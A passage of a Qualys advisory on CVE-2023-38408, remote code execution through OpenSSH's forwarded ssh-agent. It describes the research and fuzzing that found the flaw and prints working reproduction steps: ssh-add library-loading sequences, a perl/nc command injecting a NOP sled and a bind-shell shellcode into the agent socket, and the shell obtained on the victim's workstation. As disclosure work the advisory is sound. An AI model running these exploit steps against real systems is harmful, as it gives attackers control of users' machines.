Qualys Security Advisory

# CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent

## Contents



## Summary

> "ssh-agent is a program to hold private keys used for public key authentication. Through use of environment variables the agent can be located and automatically used for authentication when logging in to other machines using ssh(1). ... Connections to ssh-agent may be forwarded from further remote hosts using the -A option to ssh(1) (but see the caveats documented therein), avoiding the need for authentication data to be stored on other machines."
> (https://man.openbsd.org/ssh-agent.1)
>
> "Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host ... can access the local agent through the forwarded connection. ... A safer alternative may be to use a jump host (see -J)."
> (https://man.openbsd.org/ssh.1)

Despite this warning, ssh-agent forwarding is still widely used today. Typically, a system administrator (Alice) runs ssh-agent on her local workstation, connects to a remote server with ssh, and enables ssh-agent forwarding with the -A or ForwardAgent option, thus making her ssh-agent (which is running on her local workstation) reachable from the remote server.

While browsing through ssh-agent's source code, we noticed that a remote attacker, who has access to the remote server where Alice's ssh-agent is forwarded to, can load (dlopen()) and immediately unload (dlclose()) any shared library in /usr/lib* on Alice's workstation (via her forwarded ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).

(Note to the curious readers: for security reasons, and as explained in the "Background" section below, ssh-agent does not actually load such a shared library in its own address space (where private keys are stored), but in a separate, dedicated process, ssh-pkcs11-helper.)

Although this seems safe at first (because every shared library in /usr/lib* comes from an official distribution package, and no operation besides dlopen() and dlclose() is generally performed by ssh-agent on a shared library), many shared libraries have unfortunate side effects when dlopen()ed and dlclose()d, and are therefore unsafe to be loaded and unloaded in a security-sensitive program such as ssh-agent. For example, many shared libraries have constructor and destructor functions that are automatically executed by dlopen() and dlclose(), respectively.

Surprisingly, by chaining four common side effects of shared libraries from official distribution packages, we were able to transform this very limited primitive (the dlopen() and dlclose() of shared libraries from /usr/lib*) into a reliable, one-shot remote code execution in ssh-agent

(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit default installations of Ubuntu Desktop plus three extra packages from Ubuntu's "universe" repository. We believe that even better results can be achieved (i.e., some operating systems might be exploitable in their default installation):

- we only investigated Ubuntu Desktop 22.04 and 21.10, we have not looked into any other versions, distributions, or operating systems;

- the "fuzzer" that we wrote to test our ideas is rudimentary and slow, and we ran it intermittently on a single laptop, so we have not tried all the combinations of shared libraries and side effects;

- we initially had only one attack vector in mind (i.e., one specific combination of side effects from shared libraries), but we discovered six more while analyzing the results of our fuzzer, and we are convinced that more attack vectors exist.

In this advisory, we present our research, experiments, reproducible results, and further ideas to exploit this "dlopen() then dlclose()" primitive. We will also publish the source code of our crude fuzzer at https://www.qualys.com/research/security-advisories/ (warning: this code might hurt the eyes of experienced fuzzing practitioners, but it gave us quick answers to our many questions; it is provided "as is", in the hope that it will be useful).

## Background

The ability to load and unload shared libraries in ssh-agent was developed in 2010 to support the addition and deletion of PKCS#11 keys: ssh-agent forks and executes a long-running ssh-pkcs11-helper process that dlopen()s PKCS#11 providers (shared libraries), and immediately dlclose()s them if the symbol C_GetFunctionList cannot be found (i.e., if such a shared library is not actually a PKCS#11 provider, which is the case for the vast majority of the shared libraries in /usr/lib*).

Note: ssh-agent also supports the addition of FIDO keys, by loading a FIDO authenticator (a shared library) in a short-lived ssh-sk-helper process; however, unlike ssh-pkcs11-helper, ssh-sk-helper is stateless (it terminates shortly after loading a single shared library) and can therefore not be abused by an attacker to chain the side effects of several shared libraries.

Originally, the path of a shared library to be loaded in ssh-pkcs11-helper was not filtered at all by ssh-agent, but in 2016 an allow-list was added ("/usr/lib*/*,/usr/local/lib*/*" by default) in response to CVE-2016-10009, which was published by Jann Horn (at https://bugs.chromium.org/p/project-zero/issues/detail?id=1009):

- if an attacker had access to the server where Alice's ssh-agent is forwarded to, and had an unprivileged access to Alice's workstation, then this attacker could store a malicious shared library in /tmp on Alice's workstation and execute it with Alice's privileges (via her forwarded ssh-agent) -- a mild form of Local Privilege Escalation;

- if the attacker had only access to the server where Alice's ssh-agent is forwarded to, but could somehow store a malicious shared library somewhere on Alice's workstation (without access to her workstation), then this attacker could remotely execute this shared library (via Alice's forwarded ssh-agent) -- a mild form of Remote Code Execution.

Our first reaction was of course to try to bypass ssh-agent's /usr/lib* allow-list:

- by finding a logic bug in the filter function, match_pattern_list() (but we failed);

- by making a path-traversal attack, for example /usr/lib/../../tmp (but
  we failed, because ssh-agent first calls realpath() to canonicalize
  the path of a shared library, and then calls the filter function);

- by finding a locally or remotely writable file or directory in
  /usr/lib* (but we failed).

Our only option, then, is to abuse side effects of the existing shared
libraries in /usr/lib*; in particular, their constructor and destructor
functions, which are automatically executed by dlopen() and dlclose().
Eventually, we realized that this is essentially a remote version of
CVE-2010-3856, which was published in 2010 by Tavis Ormandy (at
https://seclists.org/fulldisclosure/2010/Oct/344):

- an unprivileged local attacker could dlopen() any shared library from
  /lib and /usr/lib (via the LD_AUDIT environment variable), even when
  executing a SUID-root program;

- the constructor functions of various common shared libraries created
  files and directories whose location depended on the attacker's
  environment variables and whose creation mode depended on the
  attacker's umask;

- the local attacker could therefore create world-writable files and
  directories anywhere in the filesystem, and obtain full root
  privileges (via crond, for example).

Although the ability to load and unload shared libraries from /usr/lib*
in ssh-agent bears a striking resemblance to CVE-2010-3856, we are in a
much weaker position here, because we are trying to exploit ssh-agent
remotely, so we do not control its environment variables nor its umask
(and we do not even talk directly to ssh-pkcs11-helper, which actually
dlopen()s and dlclose()s the shared libraries: we talk to ssh-agent,
which canonicalizes and filters our requests before passing them on to
ssh-pkcs11-helper).

In fact, we do not control anything except the order in which we load
(and immediately unload) shared libraries from /usr/lib* in ssh-agent.
At that point, we almost abandoned our research, because we could not
possibly imagine how to transform this extremely limited primitive into
a one-shot remote code execution. Nevertheless, we felt curious and
decided to syscall-trace (strace) a dlopen() and dlclose() of every
shared library in the default installation of Ubuntu Desktop. We
instantly observed four surprising behaviors:

---

1/ Some shared libraries require an executable stack, either explicitly
because of an RWE (readable, writable, executable) GNU_STACK ELF header,
or implicitly because of a missing GNU_STACK ELF header (in which case
the loader defaults to an executable stack): when such an "execstack"
library is dlopen()ed, the loader makes the main stack and all thread
stacks executable, and they remain executable even after dlclose().

For example, /usr/lib/systemd/boot/efi/linuxx64.elf.stub in the default
installation of Ubuntu Desktop 22.04.

---

2/ Many shared libraries are marked as "nodelete" by the loader, either
explicitly because of a NODELETE ELF flag, or implicitly because they
are in the dependency list of a NODELETE library: the loader will never
unload (munmap()) such libraries, even after they are dlclose()d.

For example, /usr/lib/x86_64-linux-gnu/librt.so.1 in the default
installation of Ubuntu Desktop 22.04 and 21.10.

---

3/ Some shared libraries register a signal handler for SIGSEGV when they are dlopen()ed, but they do not deregister this signal handler when they are dlclose()d (i.e., this signal handler is still registered when its code is munmap()ed).

For example, /usr/lib/x86_64-linux-gnu/libSegFault.so in the default installation of Ubuntu Desktop 21.10.

---

4/ Some shared libraries crash with a SIGSEGV as soon as they are dlopen()ed (usually because of a NULL-pointer dereference), because they are supposed to be loaded in a specific context, not in a random program such as ssh-agent.

For example, most of the /usr/lib/x86_64-linux-gnu/xtables/lib*.so in the default installation of Ubuntu Desktop 22.04 and 21.10.

---

And so an exciting idea to remotely exploit ssh-agent came into our mind:

a/ make ssh-agent's stack executable (more precisely, ssh-pkcs11-helper's stack) by dlopen()ing one of the "execstack" libraries ("surprising behavior 1/"), and somehow store a 1990-style shellcode somewhere in this executable stack;

b/ register a signal handler for SIGSEGV and immediately munmap() its code, by dlopen()ing and dlclose()ing one of the shared libraries from "surprising behavior 3/" (consequently, a dangling pointer to this unmapped signal handler is retained in the kernel);

c/ replace the unmapped signal handler's code with another piece of code from another shared library, by dlopen()ing (mmap()ing) one of the "nodelete" libraries ("surprising behavior 2/");

d/ raise a SIGSEGV by dlopen()ing one of the shared libraries from "surprising behavior 4/", so that the unmapped signal handler is called by the kernel, but the replacement code from the "nodelete" library is executed instead (a use-after-free of sorts);

e/ hope that this replacement code (which is mapped where the signal handler was mapped) is a useful gadget that somehow jumps into the executable stack, exactly where our shellcode is stored.

## Experiments

But "hope is not a strategy", so we decided to implement the following 6-step plan to test our remote-exploitation idea in ssh-agent:

---

Step 1 - We install a default Ubuntu Desktop, download all official packages from Ubuntu's "main" and "universe" repositories, and extract all /usr/lib* files from these packages. These files occupy ~200GB of disk space and include ~60,000 shared libraries.

Note: after the default installation of Ubuntu Desktop, but before the extraction of all /usr/lib* files, we "chattr +i /etc/ld.so.cache" to make sure that this file does not grow unrealistically (from kilobytes to megabytes); indeed, it is mmap()ed by the loader every time dlopen() is called, and a large file might therefore destroy the mmap layout and prevent our fuzzer's results from being reproducible in the real world.

---

Step 2 - For each shared library in /usr/lib*, we fork and execute ssh-pkcs11-helper, strace it, and request it to dlopen() (and hence immediately dlclose()) this shared library; if we spot anything unusual in the strace logs (a raised signal, a clone() call, etc) or outstanding differences in /proc/pid/maps or /proc/pid/status between before and after dlopen() and dlclose(), then we mark this shared library as interesting.

---

Step 3 - We analyze the results of Step 2. For example, on Ubuntu Desktop 22.04:

- 58 shared libraries make the stack executable when dlopen()ed (and the stack remains executable even after dlclose());

- 16577 shared libraries permanently alter the mmap layout when dlopen()ed (either because they are "nodelete" libraries, or because they allocate a thread stack or otherwise leak mmap()ed memory);

- 9 shared libraries register a SIGSEGV handler when dlopen()ed (but do not deregister it when dlclose()d), and 238 shared libraries raise a SIGSEGV when dlopen()ed;

- 2 shared libraries register a SIGABRT handler when dlopen()ed, and 44 shared libraries raise a SIGABRT when dlopen()ed.

On Ubuntu Desktop 21.10:

- 30 shared libraries make the stack executable;

- 16172 shared libraries permanently alter the mmap layout;

- 9 shared libraries register a SIGSEGV handler, and 147 shared libraries raise a SIGSEGV;

- 2 shared libraries register a SIGABRT handler, and 38 shared libraries raise a SIGABRT;

- 1 shared library registers a SIGBUS handler, and 11 shared libraries raise a SIGBUS;

- 1 shared library registers a SIGCHLD handler, and 61 shared libraries raise a SIGCHLD;

- 1 shared library registers a SIGILL handler, and 1 shared library raises a SIGILL.

---

Step 4 - We implement a rudimentary fuzzing strategy, by forking and executing ssh-pkcs11-helper in a loop, and by loading (and unloading) random combinations of the interesting shared libraries from Step 3:

a/ we randomly load zero or more shared libraries that permanently alter the mmap layout, in the hope of creating holes in the mmap layout, thus potentially shifting the replacement code (which will later replace the signal handler's code) with page precision;

b/ we randomly load one shared library that registers a signal handler but does not deregister it when dlclose()d (i.e., when munmap()ed);

c/ we randomly load zero or more shared libraries that alter the mmap layout (again), thus replacing the unmapped signal handler's code with another piece of code (a hopefully useful gadget) from another shared library (a "nodelete" library);

d/ we randomly load one shared library that raises the signal that is caught by the unmapped signal handler: the replacement code (gadget) is executed instead, and if it jumps into the stack (a SEGV_ACCERR with a RIP register that points to the stack, because we did not make the stack executable in this Step 4), then we mark this particular combination of shared libraries as interesting.

Surprise: we actually get numerous jumps to the stack in this Step 4, usually because the signal handler's code is replaced by a "jmp REG", "call REG", or "pop; pop; ret" gadget, and the "REG" or popped RIP register happens to point to the stack at the time of the jump.

---

Step 5 - We implement this extra step to test whether the interesting combinations of shared libraries from Step 4 actually jump into our shellcode in the stack, or into uncontrolled data in the stack:

a/ we make the stack executable, by randomly loading one of the "execstack" libraries from Step 3;

b/ we store ~10KB of 0xcc bytes in the stack buffer "buf" of ssh-pkcs11-helper's main() function: 10KB is the maximum message length that we can send to ssh-pkcs11-helper (via ssh-agent), and on amd64 0xcc is the "int3" instruction that generates a SIGTRAP when executed;

c/ we randomly replay one of the interesting combinations of shared libraries from Step 4: if a SIGTRAP is generated while the RIP register points to the stack, then there is a fair chance that ssh-pkcs11-helper jumped into our shellcode (our 0xcc bytes) in the executable stack.

Surprise: we actually get many SIGTRAPs in the stack during this Step 5, but to our great dismay, most of these SIGTRAPs are generated because ssh-pkcs11-helper jumps into the stack, in the middle of a pointer that is stored on the stack and that happens to contain a 0xcc byte because of ASLR (i.e., not because ssh-pkcs11-helper jumps into our own 0xcc bytes in the stack).

---

Step 6 - We implement this extra step to eliminate the false positives produced by Step 5:

a/ we repeatedly replay (N times) each combination of shared libraries that generates a SIGTRAP in the stack: if N SIGTRAPs are generated out of N replays, then there is an excellent chance that ssh-pkcs11-helper does indeed jump into our shellcode (our 0xcc bytes) in the stack (and not into random bytes that happen to be 0xcc because of ASLR);

b/ if this is confirmed by a manual check (with gdb for example), then we achieved a reliable, one-shot remote code execution in ssh-agent, despite the very limited primitive, and despite ASLR, PIE, and NX.

## Results

In this section, we present the results of our experiments:

- Signal handler use-after-free (Ubuntu Desktop 22.04)
- Signal handler use-after-free (Ubuntu Desktop 21.10)
- Callback function use-after-free
- Return from syscall use-after-free
- Sigaltstack use-after-free
- Sigreturn to arbitrary instruction pointer
- _Unwind_Context type-confusion
- RCE in library constructor

```
================================================================================
Signal handler use-after-free (Ubuntu Desktop 22.04)
================================================================================

This was our original idea for remotely attacking ssh-agent, as
discussed at the end of the "Background" section and as implemented in
the "Experiments" section. In this subsection, we present one of the
various combinations of shared libraries that result in a reliable,
one-shot remote code execution in ssh-agent on Ubuntu Desktop 22.04.

--------------------------------------------------------------------------------

1a/ On our local workstation, we install a default Ubuntu Desktop 22.04
(https://old-releases.ubuntu.com/releases/22.04/ubuntu-22.04-desktop-amd64.iso),
without connecting this workstation to the Internet.

--------------------------------------------------------------------------------

1b/ After the installation is complete, we modify /etc/apt/sources.list
to prevent any package from being upgraded to a version that is not the
one that we used in our experiments:

workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup
workstation# grep ' jammy ' /etc/apt/sources.list.backup > /etc/apt/sources.list

--------------------------------------------------------------------------------

1c/ We connect our workstation to the Internet, and install the three
packages (from Ubuntu's official "universe" repository) that contain the
three shared libraries used in this particular attack against ssh-agent:

workstation# apt-get update
workstation# apt-get upgrade
workstation# apt-get --no-install-recommends install eclipse-titan
workstation# apt-get --no-install-recommends install libkf5sonnetui5
workstation# apt-get --no-install-recommends install libns3-3v5

--------------------------------------------------------------------------------

2/ As Alice, we run ssh-agent on our local workstation, connect to a
remote server with ssh, and enable ssh-agent forwarding with -A:

workstation$ id
uid=1000(alice) gid=1000(alice)
groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135
(sambashare)

workstation$ eval `ssh-agent -s`
Agent pid 1105

workstation$ echo /tmp/ssh-*/agent.*
/tmp/ssh-XXXXXXmgHTo9/agent.1104

workstation$ ssh -A server

server$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)

server$ echo /tmp/ssh-*/agent.*
/tmp/ssh-N5EjHljGRh/agent.1299

--------------------------------------------------------------------------------

3/ Then, as a remote attacker who has access to this server:

--------------------------------------------------------------------------------

3a/ we remotely make ssh-agent's stack executable (more precisely,
```

```
ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding (indeed,
the ssh-agent itself is running on Alice's workstation, not on the
server):

server# echo /tmp/ssh-*/agent.*
/tmp/ssh-N5EjHljGRh/agent.1299

server# export SSH_AUTH_SOCK=/tmp/ssh-N5EjHljGRh/agent.1299

server# ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/systemd/boot/efi/linuxx64.elf.stub": agent refused operation

----------------------------------------------------------------------

3b/ we remotely store a shellcode in the stack buffer "buf" of
ssh-pkcs11-helper's main() function:

server#
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x
01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24
\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x
41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2
\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x
03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f
\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90"
x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
[Press Ctrl-C after a few seconds.]

- we do not use ssh-add here, because we want to send a ~10KB passphrase
  (our shellcode) to ssh-agent, but ssh-add limits the length of our
  passphrase to 1KB;

- "\x90" x 10000 is a ~10KB "NOP sled" (on amd64, 0x90 is the "nop"
  instruction);

- SHELLCODE is a "TCP bind shell" on port 31337 (from
  https://shell-storm.org/shellcode/files/shellcode-858.html);

- /usr/lib/modules is an existing directory whose path matches
  ssh-agent's /usr/lib* allow-list (indeed, we do not want to actually
  load a shared library here -- we just want to store our shellcode in
  the executable stack);

----------------------------------------------------------------------

3c/ we remotely register a SIGSEGV handler, and immediately munmap() its
code:

server# ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/titan/libttcn3-rt2-dynamic.so": agent refused operation

----------------------------------------------------------------------

3d/ we remotely replace the unmapped SIGSEGV handler's code with another
piece of code (a useful gadget) from another shared library:

server# ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0": agent refused
operation

----------------------------------------------------------------------

3e/ we remotely raise a SIGSEGV in ssh-pkcs11-helper:
```

```
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
Enter passphrase for PKCS#11: whatever
[Press Ctrl-C after a few seconds.]
```

---

3f/ the replacement code (gadget) is executed (instead of the unmapped SIGSEGV handler's code) and jumps to the stack, into our shellcode, which binds a shell on TCP port 31337 on Alice's workstation:

```
server# nc -v workstation 31337
Connection to workstation 31337 port [tcp/*] succeeded!

workstation$ id
uid=1000(alice) gid=1000(alice)
groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135
(sambashare)

workstation$ ps axuf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
alice       1105  0.0  0.1   7968  4192 ?        Ss   09:48   0:00 ssh-agent -s
alice       1249  0.0  0.0   2888   956 ?        S    10:03   0:00  \_ [sh]
alice       1268  0.0  0.0   7204  3092 ?        R    10:14   0:00      \_ ps axuf
```

---

To get a clear view of the replacement code (the useful gadget) that is executed instead of the unmapped SIGSEGV handler and that jumps into the NOP sled of our shellcode (in the executable stack), we relaunch our attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:

```
workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1307
...
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fb15c9b560e in std::_Rb_tree_decrement(std::_Rb_tree_node_base*) () from
/lib/x86_64-linux-gnu/libstdc++.so.6

(gdb) stepi
0x00007fb15d0e1250 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5

(gdb) x/10i 0x00007fb15d0e1250
=> 0x7fb15d0e1250:      add    %rcx,%rdx
   0x7fb15d0e1253:      notrack jmp *%rdx
   ...

(gdb) stepi
0x00007fb15d0e1253 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5

(gdb) stepi
0x00007ffc2ec82691 in ?? ()

(gdb) x/10i 0x00007ffc2ec82691
=> 0x7ffc2ec82691:      nop
   0x7ffc2ec82692:      nop
   0x7ffc2ec82693:      nop
   0x7ffc2ec82694:      nop
   0x7ffc2ec82695:      nop
   0x7ffc2ec82696:      nop
   0x7ffc2ec82697:      nop
   0x7ffc2ec82698:      nop
   0x7ffc2ec82699:      nop
   0x7ffc2ec8269a:      nop

(gdb) !grep stack /proc/1307/maps
7ffc2ec66000-7ffc2ec87000 rwxp 00000000 00:00 0                          [stack]
```

```
==========================================================================
Signal handler use-after-free (Ubuntu Desktop 21.10)
==========================================================================

In this subsection, we present one of the various combinations of shared
libraries that result in a reliable, one-shot remote code execution in
ssh-agent on Ubuntu Desktop 21.10.

--------------------------------------------------------------------------

1a/ On our local workstation, we install a default Ubuntu Desktop 21.10
(https://old-releases.ubuntu.com/releases/21.10/ubuntu-21.10-desktop-amd64.iso),
without connecting this workstation to the Internet.

--------------------------------------------------------------------------

1b/ After the installation is complete, we modify /etc/apt/sources.list
to prevent any package from being upgraded to a version that is not the
one that we used in our experiments:

workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup
workstation# echo 'deb https://old-releases.ubuntu.com/ubuntu/ impish main restricted
universe' > /etc/apt/sources.list

--------------------------------------------------------------------------

1c/ We connect our workstation to the Internet, and install the three
packages (from Ubuntu's official "universe" repository) that contain the
three extra shared libraries used in this attack against ssh-agent:

workstation# apt-get update
workstation# apt-get upgrade
workstation# apt-get --no-install-recommends install syslinux-common
workstation# apt-get --no-install-recommends install libgnatcoll-postgres1
workstation# apt-get --no-install-recommends install libenca-dbg

--------------------------------------------------------------------------

2/ As Alice, we run ssh-agent on our local workstation, connect to a
remote server with ssh, and enable ssh-agent forwarding with -A:

workstation$ id
uid=1000(alice) gid=1000(alice)
groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134
(sambashare)

workstation$ eval `ssh-agent -s`
Agent pid 912

workstation$ echo /tmp/ssh-*/agent.*
/tmp/ssh-GnpGKph6xbe3/agent.911

workstation$ ssh -A server

server$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)

server$ echo /tmp/ssh-*/agent.*
/tmp/ssh-30N8pjTKWn/agent.996

--------------------------------------------------------------------------

3/ Then, as a remote attacker who has access to this server:

--------------------------------------------------------------------------

3a/ we remotely make ssh-agent's stack executable (more precisely,
```

```
ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding:

server# echo /tmp/ssh-*/agent.*
/tmp/ssh-30N8pjTKWn/agent.996

server# export SSH_AUTH_SOCK=/tmp/ssh-30N8pjTKWn/agent.996

server# ssh-add -s /usr/lib/syslinux/modules/efi64/gfxboot.c32
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/syslinux/modules/efi64/gfxboot.c32": agent refused operation

------------------------------------------------------------------------

3b/ we remotely store a shellcode in the stack of ssh-pkcs11-helper:

server#
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x
01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24
\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x
41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2
\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x
03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f
\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90"
x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
[Press Ctrl-C after a few seconds.]

------------------------------------------------------------------------

3c/ we remotely alter the mmap layout of ssh-pkcs11-helper:

server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so": agent refused
operation

------------------------------------------------------------------------

3d/ we remotely register a SIGBUS handler, and immediately munmap() its
code:

server# ssh-add -s /usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1": agent refused
operation

------------------------------------------------------------------------

3e/ we remotely alter the mmap layout of ssh-pkcs11-helper (again), and
replace the unmapped SIGBUS handler's code with another piece of code (a
useful gadget) from another shared library:

server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-http-protocol-unix.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/sane/libsane-hp.so.1.0.32
server# ssh-add -s /usr/lib/libreoffice/program/libindex_data.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstaudiorate.so
server# ssh-add -s /usr/lib/libreoffice/program/libscriptframe.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libisccc-9.16.15-Ubuntu.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libxkbregistry.so.0.0.0

------------------------------------------------------------------------

3f/ we remotely raise a SIGBUS in ssh-pkcs11-helper:

server# ssh-add -s /usr/lib/debug/.build-
id/15/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug
Enter passphrase for PKCS#11: whatever
[Press Ctrl-C after a few seconds.]
```

```
------------------------------------------------------------------------

3g/ the replacement code (gadget) is executed (instead of the unmapped
SIGBUS handler's code) and jumps to the stack, then into our shellcode,
which binds a shell on TCP port 31337 on Alice's workstation:

server# nc -v workstation 31337
Connection to workstation 31337 port [tcp/*] succeeded!

workstation$ id
uid=1000(alice) gid=1000(alice)
groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134
(sambashare)

workstation$ ps axuf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
alice        912  0.0  0.0   6060  2312 ?        Ss   17:18   0:00 ssh-agent -s
alice        928  0.0  0.0   2872   956 ?        S    17:25   0:00  \_ [sh]
alice        953  0.0  0.0   7060  3068 ?        R    17:40   0:00      \_ ps axuf

------------------------------------------------------------------------

To get a clear view of the replacement code (the useful gadget) that is
executed instead of the unmapped SIGBUS handler and that jumps into the
NOP sled of our shellcode (in the executable stack), we relaunch our
attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:

workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1225
...
(gdb) continue
Continuing.

Program received signal SIGBUS, Bus error.
memset () at ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S:186

(gdb) stepi
0x00007f2ba9d7c350 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3

(gdb) x/10i 0x00007f2ba9d7c350
=> 0x7f2ba9d7c350:      add    $0x28,%rsp
   0x7f2ba9d7c354:      mov    %r12,%rax
   0x7f2ba9d7c357:      pop    %rbx
   0x7f2ba9d7c358:      pop    %rbp
   0x7f2ba9d7c359:      pop    %r12
   0x7f2ba9d7c35b:      pop    %r13
   0x7f2ba9d7c35d:      pop    %r14
   0x7f2ba9d7c35f:      pop    %r15
   0x7f2ba9d7c361:      ret
   ...

(gdb) stepi
...
0x00007f2ba9d7c361 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3

(gdb) stepi
0x00007fff7aae5e90 in ?? ()

(gdb) x/10i 0x00007fff7aae5e90
=> 0x7fff7aae5e90:      add    %dl,(%rax)
   0x7fff7aae5e92:      and    %eax,(%rax)
   0x7fff7aae5e94:      add    %al,(%rax)
   0x7fff7aae5e96:      add    %al,(%rax)
   0x7fff7aae5e98:      add    %ah,(%rax)
   0x7fff7aae5e9a:      and    %eax,(%rax)
   0x7fff7aae5e9c:      add    %al,(%rax)
   0x7fff7aae5e9e:      add    %al,(%rax)
   0x7fff7aae5ea0:      call   0x7fff7aae7fbe
```

```
   ...

(gdb) stepi
...
0x00007fff7aae5ea0 in ?? ()

(gdb) stepi
0x00007fff7aae7fbe in ?? ()

(gdb) x/10i 0x00007fff7aae7fbe
=> 0x7fff7aae7fbe:      nop
   0x7fff7aae7fbf:      nop
   0x7fff7aae7fc0:      nop
   0x7fff7aae7fc1:      nop
   0x7fff7aae7fc2:      nop
   0x7fff7aae7fc3:      nop
   0x7fff7aae7fc4:      nop
   0x7fff7aae7fc5:      nop
   0x7fff7aae7fc6:      nop
   0x7fff7aae7fc7:      nop

(gdb) !grep stack /proc/1225/maps
7fff7aacb000-7fff7aaeb000 rwxp 00000000 00:00 0                          [stack]


==========================================================================
Callback function use-after-free
==========================================================================

While analyzing the first results of our fuzzer, we noticed that some
combinations of shared libraries jump to the stack although they do not
register any signal handler or raise any signal; how is this possible?
On investigation, we understood that:

- a core library (for example, libgcrypt.so or libQt5Core.so) is loaded
  but not unloaded (munmap()ed) by dlclose(), because it is marked as
  "nodelete" by the loader;

- a shared library (for example, libgnunetutil.so or gammaray_probe.so)
  is loaded and registers a userland callback function with the core
  library (via gcry_set_allocation_handler() or qtHookData[], for
  example), but it does not deregister this callback function when
  dlclose()d (i.e., when its code is munmap()ed);

- another shared library is loaded (mmap()ed) and replaces the unmapped
  callback function's code with another piece of code (a useful gadget);

- yet another shared library is loaded and calls one of the core
  library's functions, which in turn calls the unmapped callback
  function and therefore executes the replacement code (the useful
  gadget) instead, thus jumping to the stack.

--------------------------------------------------------------------------

In the following example, one of the core library's functions is called
at line 66254, the unmapped callback function is called at line 66288,
